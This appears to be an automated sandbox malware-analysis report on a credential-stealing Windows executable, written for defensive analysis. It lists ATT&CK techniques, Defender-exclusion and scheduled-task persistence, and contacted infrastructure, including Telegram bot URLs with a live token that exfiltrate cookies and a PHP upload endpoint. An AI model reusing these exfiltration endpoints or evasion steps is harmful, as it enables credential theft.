          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
          Scheduled Task/Job          		1
          DLL Side-Loading          		1
          DLL Side-Loading          		11
          Disable or Modify Tools          		1
          OS Credential Dumping          		1
          File and Directory Discovery          		Remote Services11
          Archive Collected Data          		1
          Web Service          		Exfiltration Over Other Network MediumAbuse Accessibility Features
          CredentialsDomainsDefault AccountsScheduled Task/Job1
          Scheduled Task/Job          		111
          Process Injection          		11
          Deobfuscate/Decode Files or Information          		LSASS Memory13
          System Information Discovery          		Remote Desktop Protocol1
          Data from Local System          		3
          Ingress Tool Transfer          		Exfiltration Over BluetoothNetwork Denial of Service
          Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
          Scheduled Task/Job          		4
          Obfuscated Files or Information          		Security Account Manager11
          Security Software Discovery          		SMB/Windows Admin Shares1
          Email Collection          		11
          Encrypted Channel          		Automated ExfiltrationData Encrypted for Impact
          Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook12
          Software Packing          		NTDS31
          Virtualization/Sandbox Evasion          		Distributed Component Object ModelInput Capture1
          Non-Standard Port          		Traffic DuplicationData Destruction
          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
          DLL Side-Loading          		LSA Secrets2
          Process Discovery          		SSHKeylogging4
          Non-Application Layer Protocol          		Scheduled TransferData Encrypted for Impact
          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
          Masquerading          		Cached Domain Credentials1
          Application Window Discovery          		VNCGUI Input Capture25
          Application Layer Protocol          		Data Transfer Size LimitsService Stop
          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items31
          Virtualization/Sandbox Evasion          		DCSync1
          System Network Configuration Discovery          		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
          Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job111
          Process Injection          		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1576083 Sample: FT876567090.exe Startdate: 16/12/2024 Architecture: WINDOWS Score: 100 52 reallyfreegeoip.org 2->52 54 api.telegram.org 2->54 56 5 other IPs or domains 2->56 58 Found malware configuration 2->58 60 Malicious sample detected (through community Yara rule) 2->60 62 Antivirus / Scanner detection for submitted sample 2->62 68 11 other signatures 2->68 8 FT876567090.exe 7 2->8         started        12 EYDNKhhJr.exe 5 2->12         started        signatures3 64 Tries to detect the country of the analysis system (by using the IP) 52->64 66 Uses the Telegram API (likely for C&C communication) 54->66 process4 file5 38 C:\Users\user\AppData\RoamingYDNKhhJr.exe, PE32 8->38 dropped 40 C:\Users\...YDNKhhJr.exe:Zone.Identifier, ASCII 8->40 dropped 42 C:\Users\user\AppData\Local\...\tmp5055.tmp, XML 8->42 dropped 44 C:\Users\user\AppData\...\FT876567090.exe.log, ASCII 8->44 dropped 70 Uses schtasks.exe or at.exe to add and modify task schedules 8->70 72 Adds a directory exclusion to Windows Defender 8->72 74 Injects a PE file into a foreign processes 8->74 14 powershell.exe 22 8->14         started        17 FT876567090.exe 15 2 8->17         started        20 powershell.exe 23 8->20         started        22 schtasks.exe 1 8->22         started        76 Antivirus detection for dropped file 12->76 78 Multi AV Scanner detection for dropped file 12->78 80 Machine Learning detection for dropped file 12->80 24 EYDNKhhJr.exe 12->24         started        26 schtasks.exe 12->26         started        signatures6 process7 dnsIp8 82 Loading BitLocker PowerShell Module 14->82 28 WmiPrvSE.exe 14->28         started        30 conhost.exe 14->30         started        46 api.telegram.org 149.154.167.220, 443, 49820, 49829 TELEGRAMRU United Kingdom 17->46 48 checkip.dyndns.com 158.101.44.242, 49720, 49731, 49742 ORACLE-BMC-31898US United States 17->48 50 2 other IPs or domains 17->50 32 conhost.exe 20->32         started        34 conhost.exe 22->34         started        84 Tries to steal Mail credentials (via file / registry access) 24->84 86 Tries to harvest and steal browser information (history, passwords, etc) 24->86 36 conhost.exe 26->36         started        signatures9 process10

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          FT876567090.exe74%ReversingLabsWin32.Exploit.Generic
          FT876567090.exe100%AviraHEUR/AGEN.1305388
          FT876567090.exe100%Joe Sandbox ML

          Dropped Files

          SourceDetectionScannerLabelLink
          C:\Users\user\AppData\Roaming\EYDNKhhJr.exe100%AviraHEUR/AGEN.1305388
          C:\Users\user\AppData\Roaming\EYDNKhhJr.exe100%Joe Sandbox ML
          C:\Users\user\AppData\Roaming\EYDNKhhJr.exe74%ReversingLabsWin32.Exploit.Generic

          Unpacked PE Files

          ⊘No Antivirus matches

          Domains

          ⊘No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          https://reallyfreegeoip.orgrd0%Avira URL Cloudsafe
          http://mail.vvtrade.vn0%Avira URL Cloudsafe
          http://checkip.ds0%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          reallyfreegeoip.org
          		104.21.67.152
          		truefalse
            		high
            api.telegram.org
            		149.154.167.220
            		truefalse
              		high
              ax-0001.ax-msedge.net
              		150.171.28.10
              		truefalse
                		high
                mail.vvtrade.vn
                		118.69.190.131
                		truefalse
                  		high
                  checkip.dyndns.com
                  		158.101.44.242
                  		truefalse
                    		high
                    checkip.dyndns.org
                    		unknown
                    		unknownfalse
                      		high

                      Contacted URLs

                      NameMaliciousAntivirus DetectionReputation
                      https://reallyfreegeoip.org/xml/8.46.123.189false
                        		high
                        https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:992547%0D%0ADate%20and%20Time:%2017/12/2024%20/%2010:57:05%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20992547%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5Dfalse
                          		high
                          https://api.telegram.org/bot7339564661:AAFzTB6gEWMndjXYyD5LCn17UEBISRR8wDI/sendDocument?chat_id=6443825857&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recoveryfalse
                            		high
                            http://checkip.dyndns.org/false
                              		high
                              https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:992547%0D%0ADate%20and%20Time:%2017/12/2024%20/%2013:23:59%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20992547%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5Dfalse
                                		high

                                URLs from Memory and Binaries

                                NameSourceMaliciousAntivirus DetectionReputation
                                https://www.office.com/EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003564000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  https://chrome.google.com/webstore?hl=en8uFT876567090.exe, 0000000A.00000002.3392046185.00000000031BE000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://duckduckgo.com/chrome_newtabEYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      https://duckduckgo.com/ac/?q=EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        https://api.telegram.orgFT876567090.exe, 0000000A.00000002.3392046185.000000000310C000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.0000000003239000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000359F000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003488000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://www.google.com/images/branding/product/ico/googleg_lodp.icoEYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            https://api.telegram.org/botEYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000359F000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003488000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              https://www.office.com/lBFT876567090.exe, 0000000A.00000002.3392046185.00000000031F9000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000355F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://checkip.dyndns.orgFT876567090.exe, 0000000A.00000002.3392046185.0000000003021000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=FT876567090.exe, 0000000A.00000002.3397710460.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3397710460.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://api.telegram.org/bot/sendMessage?chat_id=&text=FT876567090.exe, 0000000A.00000002.3392046185.000000000310C000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003488000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://chrome.google.com/webstore?hl=enEYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003533000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003564000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000352E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://www.ecosia.org/newtab/FT876567090.exe, 0000000A.00000002.3397710460.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3397710460.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://varders.kozow.com:8081FT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.0000000003021000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.00000000033A1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://api.telegram.org/bot7339564661:AAFzTB6gEWMndjXYyD5LCn17UEBISRR8wDI/sendDocument?chat_id=6443EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000359F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://reallyfreegeoip.orgrdEYDNKhhJr.exe, 0000000F.00000002.3390924672.00000000033F3000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                		unknown
                                                                http://aborters.duckdns.org:8081FT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.0000000003021000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.00000000033A1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://ac.ecosia.org/autocomplete?q=FT876567090.exe, 0000000A.00000002.3397710460.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:992547%0D%0ADate%20aFT876567090.exe, 0000000A.00000002.3392046185.000000000310C000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003488000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      http://51.38.247.67:8081/_send_.php?LFT876567090.exe, 0000000A.00000002.3392046185.0000000003229000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000358F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://mail.vvtrade.vnFT876567090.exe, 0000000A.00000002.3392046185.0000000003239000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000358F000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000359F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        • Avira URL Cloud: safe
                                                                        		unknown
                                                                        https://www.office.com/8uFT876567090.exe, 0000000A.00000002.3392046185.00000000031EF000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          http://anotherarmy.dns.army:8081FT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.0000000003021000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.00000000033A1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchFT876567090.exe, 0000000A.00000002.3397710460.00000000040D3000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3397710460.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://checkip.dyndns.org/qFT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://chrome.google.com/webstore?hl=enlBFT876567090.exe, 0000000A.00000002.3392046185.00000000031C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://reallyfreegeoip.org/xml/8.46.123.189$FT876567090.exe, 0000000A.00000002.3392046185.000000000309D000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.00000000030E3000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.000000000310C000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000341C000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003461000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003488000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://reallyfreegeoip.orgFT876567090.exe, 0000000A.00000002.3392046185.0000000003073000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.00000000030E3000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.000000000310C000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003461000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003488000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      http://api.telegram.orgFT876567090.exe, 0000000A.00000002.3392046185.0000000003239000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000359F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameFT876567090.exe, 00000000.00000002.2179357230.0000000002BF2000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.0000000003021000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000C.00000002.2212573177.0000000002C89000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.00000000033A1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=FT876567090.exe, 0000000A.00000002.3397710460.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004451000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            http://checkip.dsFT876567090.exe, 0000000A.00000002.3388595176.0000000001127000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            • Avira URL Cloud: safe
                                                                                            		unknown
                                                                                            http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencodedFT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              https://reallyfreegeoip.org/xml/FT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.0000000003073000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.00000000033F3000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                		high

                                                                                                World Map of Contacted IPs

                                                                                                • No. of IPs < 25%
                                                                                                • 25% < No. of IPs < 50%
                                                                                                • 50% < No. of IPs < 75%
                                                                                                • 75% < No. of IPs

                                                                                                Public IPs

                                                                                                IPDomainCountryFlagASNASN NameMalicious
                                                                                                149.154.167.220
                                                                                                		api.telegram.orgUnited Kingdom
                                                                                                		62041TELEGRAMRUfalse
                                                                                                104.21.67.152
                                                                                                		reallyfreegeoip.orgUnited States
                                                                                                		13335CLOUDFLARENETUSfalse
                                                                                                118.69.190.131
                                                                                                		mail.vvtrade.vnViet Nam
                                                                                                		18403FPT-AS-APTheCorporationforFinancingPromotingTechnolofalse
                                                                                                158.101.44.242
                                                                                                		checkip.dyndns.comUnited States
                                                                                                		31898ORACLE-BMC-31898USfalse

                                                                                                General Information

                                                                                                Joe Sandbox version:41.0.0 Charoite
                                                                                                Analysis ID:1576083
                                                                                                Start date and time:2024-12-16 14:22:11 +01:00
                                                                                                Joe Sandbox product:CloudBasic
                                                                                                Overall analysis duration:0h 8m 31s
                                                                                                Hypervisor based Inspection enabled:false
                                                                                                Report type:full
                                                                                                Cookbook file name:default.jbs
                                                                                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                Number of analysed new started processes analysed:24
                                                                                                Number of new started drivers analysed:0
                                                                                                Number of existing processes analysed:0
                                                                                                Number of existing drivers analysed:0
                                                                                                Number of injected processes analysed:0
                                                                                                Technologies:
                                                                                                • HCA enabled
                                                                                                • EGA enabled
                                                                                                • AMSI enabled
                                                                                                Analysis Mode:default
                                                                                                Analysis stop reason:Timeout
                                                                                                Sample name:FT876567090.exe
                                                                                                Detection:MAL
                                                                                                Classification:mal100.troj.spyw.evad.winEXE@19/15@5/4
                                                                                                EGA Information:
                                                                                                • Successful, ratio: 100%
                                                                                                HCA Information:
                                                                                                • Successful, ratio: 98%
                                                                                                • Number of executed functions: 216
                                                                                                • Number of non-executed functions: 51
                                                                                                Cookbook Comments:
                                                                                                • Found application associated with file extension: .exe

                                                                                                Warnings

                                                                                                • Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
                                                                                                • Excluded IPs from analysis (whitelisted): 20.223.35.26, 20.190.177.84, 23.218.208.109, 13.107.246.63, 2.16.158.57, 4.175.87.197, 150.171.28.10, 2.16.158.26, 20.12.23.50
                                                                                                • Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, tse1.mm.bing.net, g.bing.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, arc.trafficmanager.net, iris-de-prod-azsc-v2-neu.northeurope.cloudapp.azure.com
                                                                                                • Not all processes where analyzed, report is missing behavior information
                                                                                                • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                • Report size getting too big, too many NtCreateKey calls found.
                                                                                                • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                • VT rate limit hit for: FT876567090.exe

                                                                                                Simulations

                                                                                                Behavior and APIs

                                                                                                TimeTypeDescription
                                                                                                08:23:04API Interceptor1375370x Sleep call for process: FT876567090.exe modified
                                                                                                08:23:07API Interceptor34x Sleep call for process: powershell.exe modified
                                                                                                08:23:09API Interceptor1031431x Sleep call for process: EYDNKhhJr.exe modified
                                                                                                14:23:09Task SchedulerRun new task: EYDNKhhJr path: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe

                                                                                                Joe Sandbox View / Context

                                                                                                IPs

                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                149.154.167.220REQUEST FOR QUOTATION 1307-RFQ.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                  PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exeGet hashmaliciousVIP KeyloggerBrowse
                                                                                                    TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                      SWIFT091816-24_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                        REQUEST FOR QUOATION AND PRICES 0910775_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                          SWIFT09181-24_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                            file.exeGet hashmaliciousScreenConnect Tool, Amadey, LummaC Stealer, PureLog Stealer, Vidar, XmrigBrowse
                                                                                                              RdLfpZY5A9.exeGet hashmalicious77Rootkit, XWormBrowse
                                                                                                                3edTbzftGf.exeGet hashmaliciousDiscord Token Stealer, DotStealerBrowse
                                                                                                                  Shipment 990847575203.pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                    104.21.67.152ref_97024130865.exeGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                                                                      CITAS_pif.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                        TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                          PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                            SWIFT091816-24_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                              REQUEST FOR QUOATION AND PRICES 0910775_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                SWIFT09181-24_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                  TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                    HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                      Request for Quotations and specifications.pdf.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                        118.69.190.131APQSKVTvd60SdAM.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                          GD7656780000.bat.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                            TEKJ09876545678002.cmd.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                              rRFQNO-N__MERODOPEDIDO106673.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                NEW ORDER QUOTATION REQUEST.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                  rcota____oRFQNO-N__merodopedido106673.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                    Request for Q uotation.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                      FSVB098765600900.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                        FDST69876500900.cmd.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                          GYJ1zSOpOW.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            158.101.44.242REQUEST FOR QUOTATION 1307-RFQ.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                            • checkip.dyndns.org/
                                                                                                                                                            PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                                            • checkip.dyndns.org/
                                                                                                                                                            REQUEST FOR QUOATION AND PRICES 0910775_pdf.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                            • checkip.dyndns.org/
                                                                                                                                                            Shipment 990847575203.pdf.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                            • checkip.dyndns.org/
                                                                                                                                                            77541373_BESOZT00_2024_99101234_1_4_1.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                            • checkip.dyndns.org/
                                                                                                                                                            hesaphareketi-01.pdf.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                                            • checkip.dyndns.org/
                                                                                                                                                            hesaphareketi-01.pdfsxlx..exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                                            • checkip.dyndns.org/
                                                                                                                                                            Request for quote.docGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                                            • checkip.dyndns.org/
                                                                                                                                                            Request for Quotation_10.12.2024.exeGet hashmaliciousMassLogger RATBrowse
                                                                                                                                                            • checkip.dyndns.org/
